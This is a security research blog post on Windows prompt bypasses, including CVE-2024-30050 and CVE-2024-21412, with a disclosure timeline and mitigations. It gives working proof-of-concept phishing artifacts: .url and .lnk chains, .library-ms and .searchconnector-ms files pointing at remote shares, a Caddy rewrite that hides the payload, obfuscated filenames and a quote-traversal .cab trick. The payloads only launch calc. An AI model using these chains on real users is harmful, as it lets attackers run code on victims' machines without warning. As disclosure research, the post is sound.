Skip to main content
Don't Click Evil.txt: CVE-2024-30050 and Other Windows Silliness

Don't Click Evil.txt: CVE-2024-30050 and Other Windows Silliness

Harry Withington
Windows Phishing MoTW

TLDR:

  • .URL files handle file shares and archives badly
  • .LNK files are bad and handle .URL files badly
  • File shares handle filenames badly

These let you bypass user security prompts and execute commands without any warnings.

Intro
#

Obtaining initial access is becoming increasingly challenging for attackers.

Microsoft has started treating Mark of the Web (MoTW) and SmartScreen as legitimate security protections, making it harder to trick users into running malicious files.

In this post, we’ll explore flaws in the handling of .url shortcuts, malformed network share filenames, and inconsistencies with .lnk and .cab files which allow attackers to run arbitrary code without triggering warnings.

.url WorkingDirectory Bypass
#

.url files are an Internet Explorer era file type that function as slimmed-down shortcut files. They look like this:

[InternetShortcut]
URL=https://aurainfosec.com

While their intended use is to link to websites, they can also reference local or remote files that execute when the .url file is run. When you reference a remote file i.e. \\host\share\file.exe you’ll get a big warning prompt.

However, when referencing a local file with the Url parameter it will be executed without any prompts.

[InternetShortcut]
URL=C:\Windows\System32\cmd.exe

No arguments can be passed to the executable though, so this isn’t that useful yet.

There’s very little official documentation on .url files, but Edward Blake made a good post here detailing some of the parameters you can use.

One of these parameters is WorkingDirectory. It allows the working directory for the referenced executable to be defined, and this can be either be a local directory or remote file share.

[InternetShortcut]
Url=C:/Windows/System32/cmd.exe
WorkingDirectory=\\example.com\workingdir

What’s special about this is that there are a number of Windows-native executables that search the defined working directory for an executable or DLL and run it. One example of this is C:\Windows\System32\stordiag.exe. When stordiag.exe runs, it searches the working directory for powershell.exe and executes it.

So, because we can define a remote working directory, we can call any executable powershell.exe and place it in the external file share (I used calc.exe). When the .url file referencing stordiag.exe is run, the external file share is searched and powershell.exe is executed.

[InternetShortcut]
Url=C:/Windows/System32/stordiag.exe
WorkingDirectory=\\example.com\workingdir

Unfortunately, most browsers will reject the downloading of .URL files, and trying to run one inside an archive results in a user prompt. But…

A .LNK file, the more common shortcut file, will always give a user prompt when run from an archive unless the referenced file is a trusted file type. Fortunately, it just so happens that .URL files are a trusted file type, meaning we can use a .LNK to reference a remote .URL that in turn references a local executable. This way, we can bypass all prompts while still using the remote working directory to execute arbitrary code.

Here’s the full chain:

Malformed Filename Within Share Bypass
#

On a remote file share, if you name a file something like C:cmd.exe (interpreted as C:\Windows\System32\cmd.exe) and run it, it’ll open cmd.exe without any prompts.

Much like the .url WorkingDirectory issue, if it’s possible to set the working directory here to something remote while referencing something like C:stordiag.exe (C:\Windows\System32\stordiag.exe) it should search the external file share for any included DLLs or executables.

File shares set the working directory to the place where they were executed by default. As a result, we can use the same strategy of just popping any executable named powershell.exe in the share, which will be run when C:stordiag.exe is executed.

However, this requires convincing someone to directly connect and run an executable from a file share, which isn’t all that likely. Thankfully, there are a few file types that indirectly allow the opening of an external file share, namely .library-ms and .searchconnector-ms.

A .library-ms looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <ownerSID>1</ownerSID>
  <version>7</version>
  <isLibraryPinned>false</isLibraryPinned>
  <iconStream>DefaultIcon1</iconStream>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <propertyStore>
    <property name="ShowNonIndexedLocationsInfoBar" type="boolean"><![CDATA[false]]></property>
  </propertyStore>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>false</isDefaultSaveLocation>
      <isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>
      <isSupported>false</isSupported>
      <includeInStartMenuScope>false</includeInStartMenuScope>
      <simpleLocation>
        <url>\\example.com\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

With a .searchconnector-ms just being the SearchConnectorDescription part:

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription>
    <isDefaultSaveLocation>false</isDefaultSaveLocation>
    <isDefaultNonOwnerSaveLocation>false</isDefaultNonOwnerSaveLocation>
    <isSupported>false</isSupported>
    <includeInStartMenuScope>false</includeInStartMenuScope>
    <simpleLocation>
    <url>\\example.com\share</url>
    </simpleLocation>
</searchConnectorDescription>

While a .searchconnector.ms will set the WorkingDirectory to the remote share by default, a .library-ms needs the OwnerSID parameter set (it can be anything). I don’t know why.

However, C:stordiag.exe is a bit suspicious, and it’s not super likely someone would click this. We can also use an absolute reference like C:\Windows\System32\stordiag.exe or a UNC path like \\localhost\c$\windows\system32\stordiag.exe.

By instead using a UNC path, we can add spaces and traversal sequences to obfuscate the true filename e.g.

echo 1 > 'cats.png                                                                                                                          \..\..\..\..\localhost\c$\windows\system32\stordiag.exe'

Which then gets displayed as:

Obfuscated filename

But what about the powershell.exe? Well, if you’re using Caddy for WebDAV, you can rewrite any requests to the base of the share (/) to instead go to a different share. powershell.exe won’t show up in the directory listing but will still be accessible when referenced directly.

Here’s the Caddyfile:

{
    order webdav before file_server
}

<host> {

    rewrite /<share with powershell.exe> /<share containing filesystem reference>
    webdav
}

So:

  • Share A has powershell.exe
  • Share B has a file named c:stordiag.exe
  • Caddy rewrites any requests to \\example.com\ShareA to \\example.com\ShareB (but doesn’t rewrite requests to \\example.com\ShareA\powershell.exe)

By doing this we have nice and reasonably clickable payload.

Of course, you could just use the previous .url exploit instead which looks a whole lot better:

Neither .searchconnector-ms nor .library-ms are in Outlook’s blocked attachments list.

.url + .cab Traversal Bypass (CVE-2024-21412)
#

Referencing any ‘unsafe’ file with a .url will give you a security prompt.

security prompt

If you reference something like a .vbs (VBScript) file within a .cab it will instead throw an error, and it won’t be explorer.exe that throws an error, it’ll be wscript.exe. This is important because no prompts are given when the explorer.exe part fails, and the wscript.exe part only fails because it can’t handle cab files.

[InternetShortcut]
Url=file://h.dawg/cabtrav/error.cab/z.vbs

.vbs throwing an error

From ProcMon we can see the explorer.exe fetching process fails when trying to traverse the cab file, but launches wscript.exe pointing at the file anyway.

explorer.exe failing
wscript.exe failing

So how do we make wscript.exe handle cab files? Well, looking at what wscript.exe is actually running, you’ll see that the file share you’re referencing is encased in quotes.

wscript.exe command line

For some reason certain executables in Windows don’t care about quotes, and ignore them completely. For example, if you run wscript.exe "C:\"a"s"d"f".v""b"s it’ll run C:\asdf.vbs.

So, if we can reference a file that forces an error in the explorer.exe process but forms a valid path when ignoring the " characters, we can run the vbs without any prompts.

To demonstrate this, we need a few files in the share:

z.vbs created with:

Set objShell = CreateObject("WScript.Shell")
objShell.Run "calc.exe"

.."\z".vbs created with:

echo 1 > '.."\z".vbs'

test.cab created with:

lcab '.."\z".vbs' test.cab

We also need to create the .url payload: cab.url

[InternetShortcut]
Url=file://HOST/SHARE/test.cab/z".vbs

Clicking the .url then results in the following flow:

  • explorer.exe attempts to fetch z".vbs inside the cab
  • It traverses into the cab, but " characters are invalid so it throws an error
  • The flow continues, and wscript.exe is launched with the command line "wscript.exe" "\\HOST\SHARE\test.cab\.."\z".vbs
  • I don’t actually know why this adds the ..", since this is never defined in the .url
  • The " characters are ignored, and wscript.exe attempts to open \\HOST\SHARE\z.vbs
  • z.vbs is executed without any prompts

When the .url file is then run, the remote vbs is executed without any prompts:

While we can use a .lnk pointing to a .url to exploit this from a zip file, since this relies on an archive on the server the user is prompted for a place to extract. While this isn’t technically a security prompt, it’s strange enough that it might trigger some alarms for the person clicking.

It does, however, work in file shares, whether through the previously mentioned .searchconnector-ms / .library-ms files or through a search-ms: URL e.g.

search-ms:displayname=Files&crumb=kind:url&crumb=location:%5c%5c<HOST>%5C<SHARE>&search

Here’s an example attack chain:

.LNK SLDF_HAS_DARWINID Bypass (CVE-2024-30050)
#

.LNK files are also ancient. When I was looking for a way to set a relative path for a .LNK target I came across a list of creation flags.

typedef enum {
  SLDF_DEFAULT = 0x00000000,
  SLDF_HAS_ID_LIST = 0x00000001,
  SLDF_HAS_LINK_INFO = 0x00000002,
  SLDF_HAS_NAME = 0x00000004,
  SLDF_HAS_RELPATH = 0x00000008,
  SLDF_HAS_WORKINGDIR = 0x00000010,
  SLDF_HAS_ARGS = 0x00000020,
  SLDF_HAS_ICONLOCATION = 0x00000040,
  SLDF_UNICODE = 0x00000080,
  SLDF_FORCE_NO_LINKINFO = 0x00000100,
  SLDF_HAS_EXP_SZ = 0x00000200,
  SLDF_RUN_IN_SEPARATE = 0x00000400,
  SLDF_HAS_LOGO3ID = 0x00000800,
  SLDF_HAS_DARWINID = 0x00001000,
  SLDF_RUNAS_USER = 0x00002000,
  SLDF_HAS_EXP_ICON_SZ = 0x00004000,
  SLDF_NO_PIDL_ALIAS = 0x00008000,
  SLDF_FORCE_UNCNAME = 0x00010000,
  SLDF_RUN_WITH_SHIMLAYER = 0x00020000,
  SLDF_FORCE_NO_LINKTRACK = 0x00040000,
  SLDF_ENABLE_TARGET_METADATA = 0x00080000,
  SLDF_DISABLE_LINK_PATH_TRACKING = 0x00100000,
  SLDF_DISABLE_KNOWNFOLDER_RELATIVE_TRACKING = 0x00200000,
  SLDF_NO_KF_ALIAS = 0x00400000,
  SLDF_ALLOW_LINK_TO_LINK = 0x00800000,
  SLDF_UNALIAS_ON_SAVE = 0x01000000,
  SLDF_PREFER_ENVIRONMENT_PATH = 0x02000000,
  SLDF_KEEP_LOCAL_IDLIST_FOR_UNC_TARGET = 0x04000000,
  SLDF_PERSIST_VOLUME_ID_RELATIVE = 0x08000000,
  SLDF_VALID = 0x003FF7FF,
  SLDF_RESERVED
} SHELL_LINK_DATA_FLAGS;

After applying every one of these flags to a LNK, I noticed that I wasn’t getting any user prompts. By removing these one by one I determined that this was due to the inclusion of the SLDF_HAS_DARWINID flag which, according to this article, indicates The link is a special Windows Installer link. I’m not sure what that means.

By simply making a shortcut file with this flag we can put it in a zip and have it execute without any warnings.

You can create a shortcut file with the SLDF_HAS_DARWINID flag using the following tool.

Why is This Bad?
#

All four of these allow attackers to bypass prompt-based security protections in Windows, making it easier to trick users into running malicious files. By abusing old file formats and inconsistencies in how Windows handles certain scenarios, attackers can execute arbitrary code on a victim’s machine without warnings.

While simply avoiding warning prompts may not seem like a big deal, compromising high-value targets through phishing is not easy. Techniques like these significantly increase the likelihood of success by reducing opportunities for victims to notice something is going on.

Submission Process
#

All four of these were submitted in November / December 2023 via Microsoft’s MSRC bug submission program. Two were assigned CVEs (CVE-2024-30050, CVE-2024-21412), although looking at Trend Micro’s post on the same CVE this is completely different, so I’m not entirely sure what happened there.

The most impactful of these is probably the SLDF_HAS_DARWINID bypass, as it doesn’t rely on SMB / WebDAV.

Disclosure Timeline:

  • 26 Nov 2023 - Submission of malformed filename bypass to MSRC
  • 2 Dec 2023 - Submission of CVE-2023-21412 and WorkingDirectory bypass
  • 7 Dec 2023 - CVE-2023-21412 is closed as a non-issue
  • 17 Dec 2023 - Submission of CVE-2024-30050
  • 20 Dec 2023 - WorkingDirectory and malformed filename bypasses are closed as non-issues
  • 22 Dec 2023 - WorkingDirectory bypass is re-opened
  • 2 Feb 2024 - CVE-2023-21412 is re-opened
  • 13 Feb 2024 - CVE-2023-21412 is fixed in Patch Tuesday
  • 25 Apr 2024 - WorkingDirectory bypass gets indirectly mitigated by fix for CVE-2023-21412
  • 14 May 2024 - Patch released for CVE-2024-30050

As of 9 July 2024:

  • .url files are no longer considered safe within shares or as .lnk targets, killing most good attack chains for both the working directory and traversal bugs
  • The malformed file name bypass is still exploitable

Recommendations
#

  • Disallow .url files from being run
  • Disallow any .lnk files in zips / shares from being opened
  • Disallow .searchconnector-ms, .library-ms, and .search-ms files downloaded from the internet being opened
  • Disallow SMB / WebDAV to the internet
    • Three of these are reliant on outbound SMB / WebDAV, and restricting outbound connections should make them unexploitable from the Internet

Future Research Opportunities
#

  • The cab directory traversal through different command line handling probably shows up somewhere else
  • Anything that lets you define a remote working directory can probably be exploited through the stordiag.exe method
  • The shortcut file creation flags are pretty interesting. There’s likely some more funny business you can do there. If you find something cool let me know :)